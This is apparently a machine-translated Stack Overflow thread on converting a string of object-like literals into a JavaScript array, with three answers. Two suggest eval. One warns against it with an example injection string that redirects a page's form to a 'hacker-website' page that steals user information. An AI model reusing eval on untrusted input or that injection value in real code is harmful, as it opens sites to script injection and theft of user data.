我试图将字符串变量转换为数组。每一行'字符串的大小由{}限定所以在下面的例子中,数组中应该有三行。我一直在尝试regexp表达式(我认为这是可行的方法),但我无法做到正确。
我有:
var src = "{col1: 'data1', col2: 'data2', col3: 'data3'}, {col1: 'data4',
col2: 'data5', col3: 'data6'}, {col1: 'data7', col2: 'data8', col3:
'data9'}";
我想:
var dest = [ {col1: 'data1', col2: 'data2', col3: 'data3'}, {col1: 'data4',
col2: 'data5', col3: 'data6'}, {col1: 'data7', col2: 'data8', col3: 'data9'}
];
我试过了:
var srow = data.src(/{/);
var erow = data.src(/}/)+1;
var row = src.substring(srow, erow);
alert(row); //add to array and repeat : srow = erow+1....
感谢任何帮助!
答案 0 :(得分:0)
我不会假装知道你从哪里获取这样的数据,但理想情况下你不会将数据数据存储为字符串。话虽这么说,您可以使用正则表达式用括号([]
)替换字符串的开头和结尾,然后将dangerously eval
替换为变量。
const arr = eval(src.replace(/^/, '[').replace(/$/, ']'))
希望这有帮助!
答案 1 :(得分:0)
如果字符串正确地表达了JSON格式,那么您可以使用JSON.parse(src)
来完成。
鉴于您收到的数据不是JSON数据,如果您绝对需要从该点转换它,那么较小的恶意可能是直接使用eval
,如下所示:
var dst = eval('[' + src + ']');
但是,如果用户可以在用户之间共享输入(如果用户决定将该行插入您的系统,那么会出现安全问题:"'}]; document.forms[0].action="hacker-website/steal_your_infos.php'; ["
?)
我不认为您的项目被破坏以证明使用eval
转换字符串是合理的。我的建议是:尝试修复发送此数据并使其至少发送有效字符串化JSON的内容。
更好的是,让它发送一个JSON对象。
例如,这可能是由事物发送的有效JSON对象:
{
"rows": [
{
"col1": "data1",
"col2": "data2",
"col3": "data3"
},
{
"col1": "data4",
...
}
]
}
尝试破解整个事情以解决数据损坏可能会严重损害您的项目,请立即修复它。
希望这有帮助。
答案 2 :(得分:0)
我希望这会有所帮助。
在此处查看示例... https://jsfiddle.net/xombie/cL8qbdb4/
javascript功能
function run(){
var src = "{col1: 'data1', col2: 'data2', col3: 'data3'}, {col1: 'data4', col2: 'data5', col3: 'data6'}, {col1: 'data7', col2: 'data8', col3: 'data9'}";
var srow = src.split('{').join('');
var erow = srow.split('},');
var dest= [];
for(var i= 0, len = erow.length; i < len; i++){
var mainobj = [];
erow[i] = erow[i].replace('}', '');
erow[i] = erow[i].split(',');
for(var x= 0, len2 = erow[i].length; x < len2; x++){
erow[i][x] = erow[i][x].split("'").join('');
erow[i][x] = erow[i][x].split(" ").join('');
erow[i][x] = erow[i][x].split(':');
mainobj[erow[i][x][0]] = erow[i][x][1];
}
dest.push(mainobj);
}
console.log(dest);
}